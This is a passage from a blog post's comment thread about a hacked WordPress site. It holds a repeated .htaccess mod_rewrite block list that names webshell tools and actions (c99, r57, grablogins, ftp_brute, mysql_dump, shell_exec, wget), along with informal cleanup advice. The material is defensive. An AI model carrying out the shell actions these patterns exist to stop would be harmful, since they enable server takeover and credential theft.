RewriteCond %{REQUEST_URI} .*((php|my)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR] RewriteCond %{REQUEST_METHOD} (GET|POST) [NC] RewriteCond %{QUERY_STRING} ^(.*)=/home/(.*)$ [OR] RewriteCond %{QUERY_STRING} ^work_dir=.*$ [OR] RewriteCond %{QUERY_STRING} ^command=.*&output.*$ [OR] RewriteCond %{QUERY_STRING} ^nts_[a-z0-9_]{0,10}=.*$ [OR] RewriteCond %{QUERY_STRING} ^(.*)cmd=.*$ [OR] ## ATTENTION A CETTE REGLE. ELLE PEUT CASSER VOTRE SITE ## RewriteCond %{QUERY_STRING} ^c=(t|setup|codes)$ [OR] RewriteCond %{QUERY_STRING} ^act=((about|cmd|selfremove|chbd|trojan|backc|massbrowsersploit|exploits|grablogins|upload.*)|((chmod|f)&f=.*))$ [OR] RewriteCond %{QUERY_STRING} ^act=(ls|search|fsbuff|encoder|tools|processes|ftpquickbrute|security|sql|eval|update|feedback|cmd|gofile|mkfile)&d=.*$ [OR] RewriteCond %{QUERY_STRING} ^&?c=(l?v?i?&d=|v&fnot=|setup&ref=|l&r=|d&d=|tree&d|t&d=|e&d=|i&d=|codes|md5crack).*$ [OR] RewriteCond %{QUERY_STRING} ^(.*)([-_a-z]{1,15})=(ls|cd|cat|rm|mv|vim|chmod|chdir|mkdir|rmdir|pwd|clear|whoami|uname|tar|zip|unzip|tar|gzip|gunzip|grep|more|ln|umask|telnet|ssh|ftp|head|tail|which|mkmode|touch|logname|edit_file|search_text|find_text|php_eval|download_file|ftp_file_down|ftp_file_up|ftp_brute|mail_file|mysql|mysql_dump|db_query)([^a-zA-Z0-9].+)*$ [OR] RewriteCond %{QUERY_STRING} ^(.*)(wget|shell_exec|passthru|system|exec|popen|proc_open)(.*)$ RewriteRule (.*) – [F]
If you find this article useful, give a comment and share your experience. Only shared knowledge can help others to overcome problems. Thank you! Also if you find out my work finding a solution for this hack attack was worth enough, give a small donation… a programmer should survive of something ^_^










Thank you so much for this post… I had the same problem this morning and i followed your advice but as i ‘m not good enough in programming editing I couldn’t do anything else but delete the code line and rename the plugins directory to plugin.bak … Now of course i am blogging without my plugins, i do not dare to go back to old plugins directory… I will ask friends to check further and keep you posted… Thanks
Hi julien. If I were you, I will try to find if my template uses timthumb and update it to the latest version. Also, avoid wp-minify. Thank you for sharing your experience.
Hi again… I deleted wp-minify but didn’t find timthumb… how can I know whether it’s there or not ? My blog template is WP-zoom.
Nobody could help me so far so my blog is still blocked on some levels : people cannot comment anymore… Wery annoying… Any tip ?
Checking your blog, i saw your timthumb.php here:
/wp-content/themes/videozoom/scripts/timthumb.php
so update this file and half of your problems will be solved.
Also, if you use WP-cache (i guess) clear it once you delete the common.php and config.php explained above.
Oh my god. I had no ht.access so I creatd one at the root adding your piece of code… It made the blog not accessible so i deleted the ht.access… Now the articles are not accessible. I cannot do what you recommend… So I am stuck … Any help… It does feel like a catastrophe… Can you help ?
do not worry, use mine
Remember : is .htaccess, not ht.access
#start shield <IfModule mod_rewrite.c> RewriteCond %{REQUEST_URI} .*((php|my)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR] RewriteCond %{REQUEST_METHOD} (GET|POST) [NC] RewriteCond %{QUERY_STRING} ^(.*)=/home/(.*)$ [OR] RewriteCond %{QUERY_STRING} ^work_dir=.*$ [OR] RewriteCond %{QUERY_STRING} ^command=.*&output.*$ [OR] RewriteCond %{QUERY_STRING} ^nts_[a-z0-9_]{0,10}=.*$ [OR] RewriteCond %{QUERY_STRING} ^(.*)cmd=.*$ [OR] ## ATTENTION A CETTE REGLE. ELLE PEUT CASSER VOTRE SITE ## RewriteCond %{QUERY_STRING} ^c=(t|setup|codes)$ [OR] RewriteCond %{QUERY_STRING} ^act=((about|cmd|selfremove|chbd|trojan|backc|massbrowsersploit|exploits|grablogins|upload.*)|((chmod|f)&f=.*))$ [OR] RewriteCond %{QUERY_STRING} ^act=(ls|search|fsbuff|encoder|tools|processes|ftpquickbrute|security|sql|eval|update|feedback|cmd|gofile|mkfile)&d=.*$ [OR] RewriteCond %{QUERY_STRING} ^&?c=(l?v?i?&d=|v&fnot=|setup&ref=|l&r=|d&d=|tree&d|t&d=|e&d=|i&d=|codes|md5crack).*$ [OR] RewriteCond %{QUERY_STRING} ^(.*)([-_a-z]{1,15})=(ls|cd|cat|rm|mv|vim|chmod|chdir|mkdir|rmdir|pwd|clear|whoami|uname|tar|zip|unzip|tar|gzip|gunzip|grep|more|ln|umask|telnet|ssh|ftp|head|tail|which|mkmode|touch|logname|edit_file|search_text|find_text|php_eval|download_file|ftp_file_down|ftp_file_up|ftp_brute|mail_file|mysql|mysql_dump|db_query)([^a-zA-Z0-9].+)*$ [OR] RewriteCond %{QUERY_STRING} ^(.*)(wget|shell_exec|passthru|system|exec|popen|proc_open)(.*)$ RewriteRule (.*) – [F] </IfModule> #end shield # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPressAlso write me to tb.erick.rodriguez[at]gmail.com, so i can provide a better help.
Hi,
you are great !!
My site was exactly hacked like you described above.
Now i deleted all the malicious files.
Let us closely watch for this again.
Few days before almost all WP premium theme members are notified to update the timthumb script to its latest version.
So, i think that this hack might came via timthumb.php script.
Now i did the update too after this attack.
Anyways, thanks for pointing about this hack.
yes, it also comes from old versions of timthumb. I wonder why wordpress guys does not release an advice to everyone (WP Premium or not, we are WP users). Thanks for sharing your experience.
You can use it in your .htaccess to block commands PhpRemoteview and others.
RewriteCond %{REQUEST_URI} .*((php|my)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR]
RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
RewriteCond %{QUERY_STRING} ^(.*)=/home/loginftp/(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^work_dir=.*$ [OR]
RewriteCond %{QUERY_STRING} ^command=.*&output.*$ [OR]
RewriteCond %{QUERY_STRING} ^nts_[a-z0-9_]{0,10}=.*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)cmd=.*$ [OR] ## ATTENTION A CETTE REGLE. ELLE PEUT CASSER VOTRE SITE ##
RewriteCond %{QUERY_STRING} ^c=(t|setup|codes)$ [OR]
RewriteCond %{QUERY_STRING} ^act=((about|cmd|selfremove|chbd|trojan|backc|massbrowsersploit|exploits|grablogins|upload.*)|((chmod|f)&f=.*))$ [OR]
RewriteCond %{QUERY_STRING} ^act=(ls|search|fsbuff|encoder|tools|processes|ftpquickbrute|security|sql|eval|update|feedback|cmd|gofile|mkfile)&d=.*$ [OR]
RewriteCond %{QUERY_STRING} ^&?c=(l?v?i?&d=|v&fnot=|setup&ref=|l&r=|d&d=|tree&d|t&d=|e&d=|i&d=|codes|md5crack).*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)([-_a-z]{1,15})=(ls|cd|cat|rm|mv|vim|chmod|chdir|mkdir|rmdir|pwd|clear|whoami|uname|tar|zip|unzip|tar|gzip|gunzip|grep|more|ln|umask|telnet|ssh|ftp|head|tail|which|mkmode|touch|logname|edit_file|search_text|find_text|php_eval|download_file|ftp_file_down|ftp_file_up|ftp_brute|mail_file|mysql|mysql_dump|db_query)([^a-zA-Z0-9].+)*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(wget|shell_exec|passthru|system|exec|popen|proc_open)(.*)$
RewriteRule (.*) – [F]
Save your .htaccess before !
In the fifth line, change “/ home / loginftp /” with your absolute file path before the folder “www” or “public_html”. This rule is very effective but can break your blog, forum, cms, gallery, wiki. To be used as a last and intensive testing, and possibly delete the rule is problematic.
It’s an hack with TimThumb. Update to version 2 and it will be done to prevent this.
Thanks Benoist, your post was fundamentally helpfull to shield WP installations against RemotePhpView. I added your htaccess code to my installation and works ok. If I were you I would change in the fifth line:
RewriteCond %{QUERY_STRING} ^(.*)=/home/loginftp/(.*)$ [OR]
to
RewriteCond %{QUERY_STRING} ^(.*)=/home/(.*)$ [OR]
it will secure the home without risk to take any rights of other users or scale the rights of the www-data user and hijack at once all the server.
Hi,
Thanks for your modify, i change it.
thanks, it helped me
I just noticed the date of this post. Yeah I just received an attack as well on the 6th with the same domain Superduper.
Files edited were my index and a e5e580bb7e6f5e01ecf1be2c21a834e7.html type file in my wp-content. There was the following code echo”; ?> in my index. Everything was 705.
Files added:
Common.php + udp.php in wp-admin
config.php in wp-admin/js
udp in wp-content
Once all that’s removed, site works like a charm!
I too was hacked on the 6th, i can access the site but i couldnt access wp-admin/. After looking at this article i just deleted the minify plugin using ftp.
This worked perfectly.
My hosting company is godaddy,
Mart
I was running almost 17 blogs on my server and because of one loophole all of my blogs were hacked. I applied you method and survived timely. One this i did extra, and it is that i reverted my blogs to older wordpress version as this problem is likely to hit the recent 3.2.1 version of wordpress. Can you please explain whether it is a right step.
first keep in mind this :
a.do not revert to older versions of wordpress. it will make the problem worse. locate the files I mention above: /wp-admin/js/config.php and /wp-admin/common.php
b. delete from your blogs wp-minify and wp-cache (it preserve bad scripts) plugin and update timthumb.php
c. once you do A and B, revert the plugins.bak to plugins, so it will revive the good plugins. Make sure to UPDATE ALL OF THEM!!!! it is very important to have updated versions to avoid exploits.
Thank you. It works
I had the same problem with my blog. I deleted these files on Saturday, but now I have a message from NoScript, which blocks the address 192.168.246.205. The same message I see on this page – maybe something else is left in our blog?
You know, it will be useful if you have a snapshot of your network traffic using firebug, so you can detect what is the name of the script and where is being loaded. check your source code and determinate where is being loaded. if there is a funny code messing around, check your plugins and see where is the problem.
Now the site work correctly, hmm .. I don’t know why message was before. sorry for the false post.
Heeey, I just got this. I deleted the strange php files but I could not find the code in the index.
Can anyone help me out
My site can be found on my name if you want to look
Thanks a million John! I’ve bookedmarked your blog, have cleaned and updated all my clients blog accordingly (mine included)
I feel much safer now with this fix and your suggestions.
Regards,
Serge
Thanks for this my site was hacked this way too I took the nessacary precautions as you said. Your a life saver!
I had fixed everything but still was getting the redirect until I found your site with the tip to clear cache – great!
But was really great was that orochinagi.com was saved by Terry Bogard? Coincidence or fate? BUSTER WOLF OK!
Well, I should say : “Stand Up!”,”Get Serious!” and “ARE YEOW READY?!?!?”